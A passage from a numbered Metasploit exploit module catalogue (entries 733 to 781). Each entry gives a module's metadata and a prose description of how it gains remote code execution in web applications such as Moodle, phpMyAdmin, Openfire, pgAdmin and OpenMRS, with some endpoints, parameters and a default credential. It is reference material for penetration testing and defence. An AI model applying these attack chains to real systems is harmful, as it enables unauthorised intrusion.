  adding a system manager, a 'loginas' feature is used to access their
account.  Next the system
  is reconfigured to allow for all users to install an addon/plugin.
Then a malicious theme
  is uploaded and creates an RCE.

  If all of that is a success, we revert permissions for managers to
system default and
  remove our malicoius theme.  Manual cleanup to remove students from
the class is required.

  This module was tested against Moodle version 3.9
```

```
End Exploit Number 733

Begin Exploit Number 734
       Name: Movable Type 4.2x, 4.3x Web Upgrade Remote Code Execution
     Module: exploit/multi/http/movabletype_upgrade_exec
   Platform: Windows, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-07

Payload information:

Description:
  This module can be used to execute a payload on MoveableType (MT)
that
  exposes a CGI script, mt-upgrade.cgi (usually at /mt/mt-
upgrade.cgi),
  that is used during installation and updating of the platform.
  The vulnerability arises due to the following properties:
  1. This script may be invoked remotely without requiring
authentication
  to any MT instance.
  2. Through a crafted POST request, it is possible to invoke
particular
  database migration functions (i.e. functions that bring the existing
  database up-to-date with an updated codebase) by name and with
  particular parameters.
  3. A particular migration function, core_drop_meta_for_table, allows
  a class parameter to be set which is used directly in a perl eval
  statement, allowing perl code injection.

End Exploit Number 734

Begin Exploit Number 735
       Name: Mutiny Remote Command Execution
     Module: exploit/multi/http/mutiny_subnetmask_exec
   Platform: Linux, Unix
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-22

Payload information:
  Space: 4000

Description:
  This module exploits an authenticated command injection
```

```
vulnerability in the
  Mutiny appliance. Versions prior to 4.5-1.12 are vulnerable. In
order to exploit
  the vulnerability the mutiny user must have access to the admin
interface. The
  injected commands are executed with root privileges. This module has
been tested
  successfully on Mutiny 4.2-1.05.

End Exploit Number 735

Begin Exploit Number 736
       Name: MyBB Admin Control Code Injection RCE
     Module: exploit/multi/http/mybb_rce_cve_2022_24734
   Platform: PHP, Unix, Linux, Windows
       Arch: php, cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-03-09

Payload information:

Description:
  This exploit module leverages an improper input validation
  vulnerability in MyBB prior to `1.8.30` to execute arbitrary code in
  the context of the user running the application.

  MyBB Admin Control setting page calls PHP `eval` function with an
  unsanitized user input. The exploit adds a new setting, injecting
the
  payload in the vulnerable field, and triggers its execution with a
  second request. Finally, it takes care of cleaning up and removes
the
  setting.

  Note that authentication is required for this exploit to work and
the
  account must have rights to add or update settings (typically, myBB
  administrator role).

End Exploit Number 736

Begin Exploit Number 737
       Name: NAS4Free Arbitrary Remote Code Execution
     Module: exploit/multi/http/nas4free_php_exec
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Great
  Disclosed: 2013-10-30

Payload information:
  Space: 21244
  Avoid: 0 characters

Description:
  NAS4Free allows an authenticated user to post PHP code to a special 
HTTP script and have
  the code executed remotely. This module was successfully tested 
against NAS4Free version
  9.1.0.1.804. Earlier builds are likely to be vulnerable as well.

End Exploit Number 737

Begin Exploit Number 738
       Name: Navigate CMS Unauthenticated Remote Code Execution
     Module: exploit/multi/http/navigate_cms_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-09-26

Payload information:

Description:
  This module exploits insufficient sanitization in the 
database::protect
  method, of Navigate CMS versions 2.8 and prior, to bypass 
authentication.

  The module then uses a path traversal vulnerability in 
navigate_upload.php
  that allows authenticated users to upload PHP files to arbitrary 
locations.
  Together these vulnerabilities allow an unauthenticated attacker to
  execute arbitrary PHP code remotely.

  This module was tested against Navigate CMS 2.8.

End Exploit Number 738

Begin Exploit Number 739
       Name: Netwin SurgeFTP Remote Command Execution
     Module: exploit/multi/http/netwin_surgeftp_exec
   Platform: Windows, Unix
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-12-06

Payload information:

Description:
  This module exploits a vulnerability found in Netwin SurgeFTP,
version 23c8
  or prior.  In order to execute commands via the FTP service, please
note that
  you must have a valid credential to the web-based administrative
console.

End Exploit Number 739

Begin Exploit Number 740
       Name: Nibbleblog File Upload Vulnerability
     Module: exploit/multi/http/nibbleblog_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-09-01

Payload information:

Description:
  Nibbleblog contains a flaw that allows an authenticated remote
  attacker to execute arbitrary PHP code. This module was
  tested on version 4.0.3.

End Exploit Number 740

Begin Exploit Number 741
       Name: Nostromo Directory Traversal Remote Command Execution
     Module: exploit/multi/http/nostromo_code_exec
   Platform: Linux, Unix
       Arch: cmd, x86, x64, mipsbe, mipsle, armle, aarch64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2019-10-20

Payload information:

Description:
  This module exploits a remote command execution vulnerability in
  Nostromo <= 1.9.6. This issue is caused by a directory traversal
  in the function `http_verify` in nostromo nhttpd allowing an
attacker
  to achieve remote code execution via a crafted HTTP request.

End Exploit Number 741

Begin Exploit Number 742
       Name: Novell ServiceDesk Authenticated File Upload
     Module: exploit/multi/http/novell_servicedesk_rce
   Platform: Linux, Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-30

Payload information:

Description:
  This module exploits an authenticated arbitrary file upload via
directory traversal
  to execute code on the target. It has been tested on versions 6.5
and 7.1.0, in
  Windows and Linux installations of Novell ServiceDesk, as well as
the Virtual
  Appliance provided by Novell.

End Exploit Number 742

Begin Exploit Number 743
       Name: NUUO NVRmini upgrade_handle.php Remote Command Execution
     Module: exploit/multi/http/nuuo_nvrmini_upgrade_rce
   Platform: Unix, Windows, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-04

Payload information:

Description:
  This exploits a vulnerability in the web application of NUUO NVRmini
IP camera,
  which can be done by triggering the writeuploaddir command in the
upgrade_handle.php file.

End Exploit Number 743
```

```
Begin Exploit Number 744
       Name: October CMS Upload Protection Bypass Code Execution
     Module: exploit/multi/http/october_upload_bypass_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-25

Payload information:

Description:
  This module exploits an Authenticated user with permission to upload
and manage media contents can
  upload various files on the server. Application prevents the user
from
  uploading PHP code by checking the file extension. It uses black-
list based
  approach, as seen in octobercms/vendor/october/rain/src/Filesystem/
  Definitions.php:blockedExtensions().
  This module was tested on October CMS version v1.0.412 on Ubuntu.

End Exploit Number 744

Begin Exploit Number 745
       Name: OP5 license.php Remote Command Execution
     Module: exploit/multi/http/op5_license
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-05

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits an arbitrary root command execution
vulnerability in the
  OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor
versions 5.3.5,
  5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.

End Exploit Number 745

Begin Exploit Number 746
       Name: OP5 welcome Remote Command Execution
     Module: exploit/multi/http/op5_welcome
   Platform: Linux, Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-05

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits an arbitrary root command execution
vulnerability in
  OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor
versions 5.3.5,
  5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.

End Exploit Number 746

Begin Exploit Number 747
       Name: Open Web Analytics 1.7.3 - Remote Code Execution (RCE)
     Module: exploit/multi/http/open_web_analytics_rce
   Platform: PHP
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-03-18

Payload information:

Description:
  Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated
remote attacker to obtain sensitive
  user information, which can be used to gain admin privileges by
leveraging cache hashes.
  This occurs because files generated with '<?php (instead of the
intended "<?php sequence) aren't handled
  by the PHP interpreter.

End Exploit Number 747

Begin Exploit Number 748
       Name: Openfire Admin Console Authentication Bypass
     Module: exploit/multi/http/openfire_auth_bypass
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2008-11-10

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in the 
administration
  console of Openfire servers. By using this vulnerability it is 
possible to
  upload/execute a malicious Openfire plugin on the server and execute 
arbitrary Java
  code. This module has been tested against Openfire 3.6.0a.

  It is possible to remove the uploaded plugin after execution, 
however this might turn
  the server in some kind of unstable state, making re-exploitation 
difficult. You might
  want to do this manually.

End Exploit Number 748

Begin Exploit Number 749
       Name: Openfire authentication bypass with RCE plugin
     Module: exploit/multi/http/
openfire_auth_bypass_rce_cve_2023_32315
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-26

Payload information:

Description:
  Openfire is an XMPP server licensed under the Open Source Apache 
License.
  Openfire's administrative console, a web-based application, was 
found to be vulnerable to a path traversal attack
  via the setup environment. This permitted an unauthenticated user to 
use the unauthenticated Openfire Setup Environment
  in an already configured Openfire environment to access restricted 
pages in the Openfire Admin Console reserved for
  administrative users.
  This module will use the vulnerability to create a new admin user 
that will be used to upload a Openfire management plugin
  weaponised with java native payload that triggers an RCE.
  This vulnerability affects all versions of Openfire that have been
```

```
released since April 2015, starting with version 3.10.0.
  The problem has been patched in Openfire release 4.7.5 and 4.6.8,
and further improvements will be included in the
  first version on the 4.8 branch, which is version 4.8.0.

End Exploit Number 749

Begin Exploit Number 750
       Name: OpenMediaVault Cron Remote Command Execution
     Module: exploit/multi/http/openmediavault_cmd_exec
   Platform: Unix, Linux
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-30

Payload information:

Description:
  OpenMediaVault allows an authenticated user to create cron jobs as
arbitrary users on the system.
  An attacker can abuse this to run arbitrary commands as any user
available on the system (including root).

End Exploit Number 750

Begin Exploit Number 751
       Name: OpenMRS Java Deserialization RCE
     Module: exploit/multi/http/openmrs_deserialization
   Platform: Unix, Linux
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-02-04

Payload information:

Description:
  OpenMRS is an open-source platform that supplies
  users with a customizable medical record system.

  There exists an object deserialization vulnerability
  in the `webservices.rest` module used in OpenMRS Platform.
  Unauthenticated remote code execution can be achieved
  by sending a malicious XML payload to a Rest API endpoint
  such as `/ws/rest/v1/concept`.

  This module uses an XML payload generated with Marshalsec
  that targets the ImageIO component of the XStream library.

  Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
  8 and Java 9.

End Exploit Number 751

Begin Exploit Number 752
       Name: OpenX Backdoor PHP Code Execution
     Module: exploit/multi/http/openx_backdoor_php
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-08-07

Payload information:
  Space: 262144

Description:
  OpenX Ad Server version 2.8.10 was shipped with an obfuscated
  backdoor since at least November 2012 through August 2013.
  Exploitation is simple, requiring only a single request with a
  rot13'd and reversed payload.

End Exploit Number 752

Begin Exploit Number 753
       Name: ManageEngine OpManager and Social IT Arbitrary File
Upload
     Module: exploit/multi/http/opmanager_socialit_file_upload
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-27

Payload information:

Description:
  This module exploits a file upload vulnerability in ManageEngine
OpManager and Social IT.
  The vulnerability exists in the FileCollector servlet which accepts
unauthenticated
  file uploads. This module has been tested successfully on OpManager
v8.8 - v11.3 and on
  version 11.0 of SocialIT for Windows and Linux.
```

```
End Exploit Number 753

Begin Exploit Number 754
       Name: ManageEngine OpManager SumPDU Java Deserialization
     Module: exploit/multi/http/opmanager_sumpdu_deserialization
   Platform: Windows, Linux, Python, Unix
       Arch: cmd, python, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-07-26

Payload information:

Description:
  An HTTP endpoint used by the Manage Engine OpManager Smart Update
Manager component can be leveraged to
  deserialize an arbitrary Java object. This can be abused by an
unauthenticated remote attacker to execute OS
  commands in the context of the OpManager application (NT
AUTHORITY\SYSTEM on Windows or root on Linux). This
  vulnerability is also present in other products that are built on
top of the OpManager application. This
  vulnerability affects OpManager versions 12.1 - 12.5.328.

  Automatic CVE selection only works for newer targets when the build
number is present in the logon page. Due
  to issues with the serialized payload this module is incompatible
with versions prior to 12.3.238 despite them
  technically being vulnerable.

End Exploit Number 754

Begin Exploit Number 755
       Name: Oracle ATS Arbitrary File Upload
     Module: exploit/multi/http/oracle_ats_file_upload
   Platform: Windows, Linux
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-01-20

Payload information:

Description:
  This module exploits an authentication bypass and arbitrary file
upload
  in Oracle Application Testing Suite (OATS), version 12.4.0.2.0 and
  unknown earlier versions, to upload and execute a JSP shell.
```

```
End Exploit Number 755

Begin Exploit Number 756
       Name: Oracle Forms and Reports Remote Code Execution
     Module: exploit/multi/http/oracle_reports_rce
   Platform: Windows, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2014-01-15

Payload information:

Description:
  This module uses two vulnerabilities in Oracle Forms and Reports to 
get remote code execution
  on the host. The showenv url can be used to disclose information 
about a server. A second
  vulnerability that allows arbitrary reading and writing to the host 
filesystem can then be
  used to write a shell from a remote url to a known local path 
disclosed from the previous
  vulnerability.

  The local path being accessible from an URL allows an attacker to 
perform the remote code
  execution using, for example, a .jsp shell.

  This module was tested successfully on Windows and Oracle Forms and 
Reports 10.1.

End Exploit Number 756

Begin Exploit Number 757
       Name: Oracle WebLogic wls-wsat Component Deserialization RCE
     Module: exploit/multi/http/
oracle_weblogic_wsat_deserialization_rce
   Platform: Windows, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-10-19

Payload information:

Description:
  The Oracle WebLogic WLS WSAT Component is vulnerable to a XML
```

```
Deserialization
  remote code execution vulnerability. Supported versions that are
affected are
  10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. Discovered by
Alexey Tyurin
  of ERPScan and Federico Dotta of Media Service. Please note that
SRVHOST, SRVPORT,
  HTTP_DELAY, URIPATH and related HTTP Server variables are only used
when executing a check
  and will not be used when executing the exploit itself.

End Exploit Number 757

Begin Exploit Number 758
       Name: OrientDB 2.2.x Remote Code Execution
     Module: exploit/multi/http/orientdb_exec
   Platform: Linux, Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2017-07-13

Payload information:

Description:
  This module leverages a privilege escalation on OrientDB to execute
unsandboxed OS commands.
  All versions from 2.2.2 up to 2.2.22 should be vulnerable.

End Exploit Number 758

Begin Exploit Number 759
       Name: osCommerce Installer Unauthenticated Code Execution
     Module: exploit/multi/http/oscommerce_installer_unauth_code_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-04-30

Payload information:
  Avoid: 1 characters

Description:
  If the /install/ directory was not removed, it is possible for an
unauthenticated
  attacker to run the "install_4.php" script, which will create the
configuration
```

```
  file for the installation. This allows the attacker to inject PHP
code into the
  configuration file and execute it.

End Exploit Number 759

Begin Exploit Number 760
       Name: Pandora FMS v3.1 Auth Bypass and Arbitrary File Upload
Vulnerability
     Module: exploit/multi/http/pandora_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-11-30

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in
Pandora FMS v3.1 as
  disclosed by Juan Galiana Lara. It also integrates with the built-in
pandora
  upload which allows a user to upload arbitrary files to the '/
images/' directory.

  This module was created as an exercise in the Metasploit Mastery
Class at Blackhat
  that was facilitated by egypt and mubix.

End Exploit Number 760

Begin Exploit Number 761
       Name: PaperCut PaperCutNG Authentication Bypass
     Module: exploit/multi/http/papercut_ng_auth_bypass
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-03-13

Payload information:

Description:
  This module leverages an authentication bypass in PaperCut NG. If
necessary it
  updates Papercut configuration options, specifically the 'print-and-
device.script.enabled'
```

```
  and 'print.script.sandboxed' options to allow for arbitrary code
execution running in
  the builtin RhinoJS engine.

  This module logs at most 2 events in the application log of
papercut. Each event is tied
  to modifcation of server settings.

End Exploit Number 761

Begin Exploit Number 762
       Name: Pentaho Business Server Auth Bypass and Server Side
Template Injection RCE
     Module: exploit/multi/http/
pentaho_business_server_authbypass_and_ssti
   Platform: Windows, Unix
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-04-04

Payload information:

Description:
  Hitachi Vantara Pentaho Business Analytics Server prior to versions
9.4.0.1 and 9.3.0.2, including 8.3.x is
  vulnerable to an authentication bypass (CVE-2022-43939) and a Server
Side Template Injection (SSTI) vulnerability
  (CVE-2022-43769) that can be chained together to achieve
unauthenticated code execution as the user
  running the Pentaho Business Analytics Server.

  The first vulnerability (CVE-2022-43939) is an authentication bypass
which stems from a regex that allows any
  URL that ends in "/", followed by "require", optionally "-js" or "-
cfg", any character, and then the string
  "js" followed optionally by "?" and then any characters of the
attacker's choice.

  The second (CVE-2022-43769) is a server side
  template injection. This vulnerability allows RCE by making a GET
request to /api/ldap/config/ldapTreeNodeChildren and
  setting the url parameter to ThymeLeaf template code. By abusing the
ability to execute arbitrary Java classes within
  Thymeleaf templates, an attacker can execute arbitrary commands as
the user running the Pentaho Business Analytics Server.

End Exploit Number 762
```

```
Begin Exploit Number 763
       Name: pgAdmin Session Deserialization RCE
     Module: exploit/multi/http/pgadmin_session_deserialization
   Platform: Python
       Arch: python
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-04

Payload information:

Description:
  pgAdmin versions <= 8.3 have a path traversal vulnerability within
their session management logic that can allow
  a pickled file to be loaded from an arbitrary location. This can be
used to load a malicious, serialized Python
  object to execute code within the context of the target application.

  This exploit supports two techniques by which the payload can be
loaded, depending on whether or not credentials
  are specified. If valid credentials are provided, Metasploit will
login to pgAdmin and upload a payload object
  using pgAdmin's file management plugin. Once uploaded, this payload
is executed via the path traversal before
  being deleted using the file management plugin. This technique works
for both Linux and Windows targets. If no
  credentials are provided, Metasploit will start an SMB server and
attempt to trigger loading the payload via a
  UNC path. This technique only works for Windows targets. For Windows
10 v1709 (Redstone 3) and later, it also
  requires that insecure outbound guest access be enabled.

  Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3
on Windows. The file management plugin
  underwent changes in the 6.x versions and therefor, pgAdmin versions
< 7.0 can not utilize the authenticated
  technique whereby a payload is uploaded.

End Exploit Number 763

Begin Exploit Number 764
       Name: Phoenix Exploit Kit Remote Code Execution
     Module: exploit/multi/http/phoenix_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-07-01
```

```
Payload information:

Description:
  This module exploits a Remote Code Execution in the web panel of
Phoenix Exploit Kit via geoip.php. The
  Phoenix Exploit Kit is a popular commercial crimeware tool that
probes the browser of the visitor for the
  presence of outdated and insecure versions of browser plugins like
Java and Adobe Flash and Reader,
  silently installing malware if found.

End Exploit Number 764

Begin Exploit Number 765
       Name: PHP CGI Argument Injection
     Module: exploit/multi/http/php_cgi_arg_injection
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-03

Payload information:
  Space: 262144

Description:
  When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable
to
  an argument injection vulnerability.  This module takes advantage of
  the -d flag to set php.ini directives to achieve code execution.

  From the advisory: "if there is NO unescaped '=' in the query
string,
  the string is split on '+' (encoded space) characters, urldecoded,
  passed to a function that escapes shell metacharacters (the "encoded
in
  a system-defined manner" from the RFC) and then passes them to the
CGI
  binary." This module can also be used to exploit the plesk 0day
disclosed
  by kingcope and exploited in the wild on June 2013.

End Exploit Number 765

Begin Exploit Number 766
       Name: PHP-FPM Underflow RCE
     Module: exploit/multi/http/php_fpm_rce
   Platform:
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-10-22

Payload information:
  Avoid: 4 characters

Description:
  This module exploits an underflow vulnerability in versions 7.1.x
  below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM
on
  Nginx. Only servers with certains Nginx + PHP-FPM configurations are
  exploitable. This is a port of the original neex's exploit code (see
  refs.). First, it detects the correct parameters (Query String
Length
  and custom header length) needed to trigger code execution. This
step
  determines if the target is actually vulnerable (Check method).
Then,
  the exploit sets a series of PHP INI directives to create a file
  locally on the target, which enables code execution through a query
  string parameter. This is used to execute normal payload stagers.
  Finally, this module does some cleanup by killing local PHP-FPM
  workers (those are spawned automatically once killed) and removing
  the created local file.

End Exploit Number 766

Begin Exploit Number 767
       Name: PHP Utility Belt Remote Code Execution
     Module: exploit/multi/http/php_utility_belt_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-08

Payload information:
  Space: 2000

Description:
  This module exploits a remote code execution vulnerability in PHP
Utility Belt,
  which is a set of tools for PHP developers and should not be
installed in a
  production environment, since this application runs arbitrary PHP
code as an
```

```
  intended functionality.

End Exploit Number 767

Begin Exploit Number 768
       Name: PHP Volunteer Management System v1.0.2 Arbitrary File
Upload Vulnerability
     Module: exploit/multi/http/php_volunteer_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-05-28

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in PHP Volunteer
Management System,
  version v1.0.2 or prior.  This application has an upload feature
that allows an
  authenticated user to upload anything to the 'uploads' directory,
which is actually
  reachable by anyone without a credential.  An attacker can easily
abuse this upload
  functionality first by logging in with the default credential
(admin:volunteer),
  upload a malicious payload, and then execute it by sending another
GET request.

End Exploit Number 768

Begin Exploit Number 769
       Name: phpFileManager 0.9.8 Remote Code Execution
     Module: exploit/multi/http/phpfilemanager_rce
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-28

Payload information:
  Space: 2000

Description:
  This module exploits a remote code execution vulnerability in
phpFileManager
```

```
  0.9.8 which is a filesystem management tool on a single file.

End Exploit Number 769

Begin Exploit Number 770
       Name: phpLDAPadmin query_engine Remote PHP Code Injection
     Module: exploit/multi/http/phpldapadmin_query_engine
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-24

Payload information:
  Space: 4000

Description:
  This module exploits a vulnerability in the lib/functions.php for
  phpLDAPadmin versions 1.2.1.1 and earlier that allows attackers
input
  parsed directly to the create_function() php function. A patch was
  issued that uses a whitelist regex expression to check the user
supplied
  input before being parsed to the create_function() call.

End Exploit Number 770

Begin Exploit Number 771
       Name: PHPMailer Sendmail Argument Injection
     Module: exploit/multi/http/phpmailer_arg_injection
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2016-12-26

Payload information:

Description:
  PHPMailer versions up to and including 5.2.19 are affected by a
  vulnerability which can be leveraged by an attacker to write a file
with
  partially controlled contents to an arbitrary location through
injection
  of arguments that are passed to the sendmail binary. This module
  writes a payload to the web root of the webserver before then
executing
  it with an HTTP request. The user running PHPMailer must have write
  access to the specified WEB_ROOT directory and successful
exploitation
  can take a few minutes.

End Exploit Number 771

Begin Exploit Number 772
       Name: PHPMoAdmin 1.1.2 Remote Code Execution
     Module: exploit/multi/http/phpmoadmin_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-03-03

Payload information:

Description:
  This module exploits an arbitrary PHP command execution
vulnerability due to a
  dangerous use of eval() in PHPMoAdmin.

End Exploit Number 772

Begin Exploit Number 773
       Name: phpMyAdmin 3.5.2.2 server_sync.php Backdoor
     Module: exploit/multi/http/phpmyadmin_3522_backdoor
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-09-25

Payload information:
  Space: 262144

Description:
  This module exploits an arbitrary code execution backdoor
  placed into phpMyAdmin v3.5.2.2 through a compromised SourceForge
mirror.

End Exploit Number 773

Begin Exploit Number 774
       Name: phpMyAdmin Authenticated Remote Code Execution
     Module: exploit/multi/http/phpmyadmin_lfi_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2018-06-19

Payload information:

Description:
  phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
  which can be exploited post-authentication to execute PHP code by
  application. The module has been tested with phpMyAdmin v4.8.1.

End Exploit Number 774

Begin Exploit Number 775
       Name: phpMyAdmin Authenticated Remote Code Execution
     Module: exploit/multi/http/phpmyadmin_null_termination_exec
   Platform: PHP
       Arch: php
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-23

Payload information:
  Avoid: 5 characters

Description:
  phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x
before
  4.6.3 does not properly choose delimiters to prevent use of the
preg_replace
  (aka eval) modifier, which might allow remote attackers to execute
arbitrary
  PHP code via a crafted string, as demonstrated by the table search-
and-replace
  implementation.

End Exploit Number 775

Begin Exploit Number 776
       Name: phpMyAdmin Authenticated Remote Code Execution via
preg_replace()
     Module: exploit/multi/http/phpmyadmin_preg_replace
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-25
```

```
Payload information:
  Avoid: 5 characters

Description:
  This module exploits a PREG_REPLACE_EVAL vulnerability in
phpMyAdmin's
  replace_prefix_tbl within libraries/mult_submits.inc.php via
db_settings.php
  This affects versions 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3.
  PHP versions > 5.4.6 are not vulnerable.

End Exploit Number 776

Begin Exploit Number 777
       Name: phpScheduleIt PHP reserve.php start_date Parameter
Arbitrary Code Injection
     Module: exploit/multi/http/phpscheduleit_start_date
   Platform: PHP
       Arch: php
 Privileged: No
    License: BSD License
       Rank: Excellent
  Disclosed: 2008-10-01

Payload information:
  Space: 8190

Description:
  This module exploits an arbitrary PHP code execution flaw in the
phpScheduleIt
  software. This vulnerability is only exploitable when the
magic_quotes_gpc PHP
  option is 'off'. Authentication is not required to exploit the bug.

  Version 1.2.10 and earlier of phpScheduleIt are affected.

End Exploit Number 777

Begin Exploit Number 778
       Name: PHPStudy Backdoor Remote Code execution
     Module: exploit/multi/http/phpstudy_backdoor_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-09-20

Payload information:
```

```
Description:
  This module can detect and exploit the backdoor of PHPStudy.

End Exploit Number 778

Begin Exploit Number 779
       Name: PhpTax pfilez Parameter Exec Remote Code Injection
     Module: exploit/multi/http/phptax_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-10-08

Payload information:

Description:
  This module exploits a vulnerability found in PhpTax, an income tax
report
  generator.  When generating a PDF, the icondrawpng() function in
drawimage.php
  does not properly handle the pfilez parameter, which will be used in
an exec()
  statement, and then results in arbitrary remote code execution under
the context
  of the web server.  Please note: authentication is not required to
exploit this
  vulnerability.

End Exploit Number 779

Begin Exploit Number 780
       Name: Phpwiki Ploticus Remote Code Execution
     Module: exploit/multi/http/phpwiki_ploticus_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-11

Payload information:
  Avoid: 1 characters

Description:
  The Ploticus module in PhpWiki 1.5.0 allows remote attackers to
execute arbitrary
  code via command injection.
```

```
End Exploit Number 780

Begin Exploit Number 781
       Name: Pimcore Unserialize RCE
     Module: exploit/multi/http/pimcore_unserialize_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-03-11

Payload information:
  Space: 8000

Description:
  This module exploits a PHP unserialize() in Pimcore before 5.7.1 to
  execute arbitrary code. An authenticated user with "classes"
permission
  could exploit the vulnerability.

  The vulnerability exists in the "ClassController.php" class, where
the
  "bulk-commit" method makes it possible to exploit the unserialize
function
  when passing untrusted values in "data" parameter.

  Tested on Pimcore 5.4.0-5.4.4, 5.5.1-5.5.4, 5.6.0-5.6.6 with the
Symfony
  unserialize payload.

  Tested on Pimcore 4.0.0-4.6.5 with the Zend unserialize payload.

End Exploit Number 781

Begin Exploit Number 782
